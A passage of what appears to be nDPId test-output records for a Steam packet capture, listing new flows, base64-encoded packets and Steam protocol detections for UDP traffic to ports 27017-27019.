+00450{"flow_id":17,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":980734,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWTEAAIARxIVEjlsiwKi8lWmJsmEANIkpVlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAA3X7NeAABAAA="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":37,"source":"steam.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1357332164986,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"146.66.152.14","src_port":45665,"dst_port":27017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":25,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":986669,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARkx7AqLyVkkKYDrJhaYkALLORVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":37,"source":"steam.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1357332164986,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"146.66.152.14","src_port":45665,"dst_port":27017,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":38,"source":"steam.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1357332164987,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"72.165.61.174","src_port":45665,"dst_port":27017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":26,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":987107,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARNxzAqLyVSKU9rrJhaYkALFePVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":38,"source":"steam.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1357332164987,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"72.165.61.174","src_port":45665,"dst_port":27017,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":39,"source":"steam.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1357332164987,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"69.28.145.171","src_port":45665,"dst_port":27017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":27,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":987504,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEAR5qfAqLyVRRyRq7JhaYkALAcbVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":39,"source":"steam.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1357332164987,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"69.28.145.171","src_port":45665,"dst_port":27017,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":40,"source":"steam.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1357332164987,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"208.111.133.85","src_port":45665,"dst_port":27018,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":28,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":987855,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARZ6rAqLyV0G+FVbJhaYoALIgcVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00501{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":40,"source":"steam.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1357332164987,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"208.111.133.85","src_port":45665,"dst_port":27018,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00449{"flow_id":13,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":15111,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWTIAAIAROeSSQpgOwKi8lWmLsmEANBm8VlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAAc5jYKUQBAAA="} +00449{"flow_id":21,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":17274,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWTMAAIAR6HHQb6tSwKi8lWmJsmEANJoiVlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAA03wFcOUAAAA="} +00450{"flow_id":27,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":20030,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWTQAAIARjWtFHJGrwKi8lWmJsmEANNwtVlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAAk2i\/c84AAAA="} +00449{"flow_id":26,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":27560,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWTUAAIAR3d5IpT2uwKi8lWmJsmEANL5BVlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAAyxQbKKkAAAA="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":45,"source":"steam.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1357332165037,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"81.171.115.5","src_port":45665,"dst_port":27018,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":29,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":37133,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEAR+L7AqLyVUatzBbJhaYoALBkxVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00499{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":45,"source":"steam.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1357332165037,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"81.171.115.5","src_port":45665,"dst_port":27018,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":46,"source":"steam.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1357332165037,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"72.165.61.175","src_port":45665,"dst_port":27017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":30,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":37556,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARNxvAqLyVSKU9r7JhaYkALFeOVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":46,"source":"steam.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1357332165037,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"72.165.61.175","src_port":45665,"dst_port":27017,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":47,"source":"steam.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1357332165037,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"203.77.185.5","src_port":45665,"dst_port":27017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":31,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":47,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":37929,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARORzAqLyVy025BbJhaYkALFmPVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00499{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":47,"source":"steam.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1357332165037,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"203.77.185.5","src_port":45665,"dst_port":27017,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":48,"source":"steam.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1357332165038,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"146.66.152.15","src_port":45665,"dst_port":27018,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":32,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":38324,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARkx3AqLyVkkKYD7JhaYoALLOPVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":48,"source":"steam.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1357332165038,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"146.66.152.15","src_port":45665,"dst_port":27018,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00449{"flow_id":30,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":75421,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWTYAAIAR3dxIpT2vwKi8lWmJsmEANO1rVlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAAw5zrdLEAAAA="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":50,"source":"steam.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1357332165087,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"146.66.152.15","src_port":45665,"dst_port":27019,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":33,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":87319,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARkx3AqLyVkkKYD7JhaYsALLOOVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":50,"source":"steam.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1357332165087,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"146.66.152.15","src_port":45665,"dst_port":27019,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":51,"source":"steam.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1357332165087,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"72.165.61.174","src_port":45665,"dst_port":27018,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":34,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":87803,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARNxzAqLyVSKU9rrJhaYoALFeOVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":51,"source":"steam.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1357332165087,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"72.165.61.174","src_port":45665,"dst_port":27018,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":52,"source":"steam.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1357332165088,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"208.111.133.84","src_port":45665,"dst_port":27017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":35,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":88203,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARZ6vAqLyV0G+FVLJhaYkALIgeVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00501{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":52,"source":"steam.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1357332165088,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"208.111.133.84","src_port":45665,"dst_port":27017,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":53,"source":"steam.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1357332165088,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"146.66.152.12","src_port":45665,"dst_port":27017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":36,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":88572,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARkyDAqLyVkkKYDLJhaYkALLOTVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":53,"source":"steam.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1357332165088,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"146.66.152.12","src_port":45665,"dst_port":27017,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00450{"flow_id":24,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":54,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":121960,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWTcAAIAROeCSQpgNwKi8lWmJsmEANEZHVlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAAkDOUBj8BAAA="} +00450{"flow_id":34,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":55,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":125176,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWTgAAIAR3dtIpT2uwKi8lWmKsmEANFKmVlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAAqXeqX6cAAAA="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":56,"source":"steam.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1357332165137,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"81.171.115.7","src_port":45665,"dst_port":27017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":37,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":137546,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEAR+LzAqLyVUatzB7JhaYkALBkwVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00499{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":56,"source":"steam.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1357332165137,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"81.171.115.7","src_port":45665,"dst_port":27017,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":57,"source":"steam.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1357332165137,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"72.165.61.187","src_port":45665,"dst_port":27017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":38,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":57,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":137979,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARNw\/AqLyVSKU9u7JhaYkALFeCVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":57,"source":"steam.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1357332165137,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"72.165.61.187","src_port":45665,"dst_port":27017,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":58,"source":"steam.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1357332165138,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"81.171.115.5","src_port":45665,"dst_port":27017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":39,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":58,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":138337,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEAR+L7AqLyVUatzBbJhaYkALBkyVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} 